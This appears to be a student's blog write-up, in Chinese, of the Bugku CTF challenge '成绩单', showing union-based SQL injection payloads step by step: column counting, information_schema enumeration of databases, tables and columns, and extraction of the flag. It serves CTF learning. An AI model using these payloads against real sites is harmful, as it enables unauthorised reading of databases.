BUGKU-----成绩单

放暑假的第三天,开启暑假的刷题之路,怎么说呢,学了三个月的安全,还是需要打一下基础,所以就来bugku刷题咯。
拿道题,一看就是sql注入啦。啥都不说直接上payload。
**

基础知识:

**
在做题之前必须要说一下基础知识:
在这里插入图片描述
mysql中有一个数据库information里面有三个表,每个表中都有字段。如上图

1' //1'报错说明存在注入啦。

在这里插入图片描述2.

1'--+ //我们加上注释之后,按理来说不应该报错,但是为什么报错了呢?当然是把注释过滤了嗷。于是我们可以用
#或者 -- +(注意嗷中间加了空格),结果返回正常说明我们的猜测是正确的。

在这里插入图片描述3.

1' order by 4# //接下来我们就猜列数喽,为什么先猜4呢?因为表格有三列,但是还有某某的成绩单这一列哦。

在这里插入图片描述

1' order by 5# //我们接着猜5列,发现竟然报错了。所以只有四列。

在这里插入图片描述
4.

-1' union select 1,2,3,database()#//猜完列之后,直接就是联合查询啦,关于联合查询,
要注意前面的数据一定要不存在,后面的语句才能执行嗷。我们看到爆出了数据库名称。

在这里插入图片描述我们学习一开始的基础知识之后,我们可以发现还有一种方式爆出数据库:

-1' union select 1,2,3,group_concat(schema_name) from information_schema.schemata#

在这里插入图片描述

-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# 
//在这里我们要注意table表下的数据库名字的字段是table_schema,schemata表下的数据库名字字段是schema_name.此语句的意思是从information_schema的数据库中的table表(information_schema.table)中选取表。where table_schema=database()的意思是此表下的数据库名字。

在这里插入图片描述6.

-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666C3467#  
这里的十六进制要注意不要带着引号转换十六进制

在这里插入图片描述7.

-1' union select 1,2,3,skctf_flag from fl4g#

在这里插入图片描述

小结:
关于sql注入,小白也只是学习了一点皮毛,但是小白还是觉得sql注入语句不要死记硬背,还是要了解数据库、表之间的关系。(一开始小白还是死记硬背或者,记得不牢固,暑假期间重新温故呀)

猜你喜欢

转载自blog.csdn.net/weixin_43803070/article/details/94635507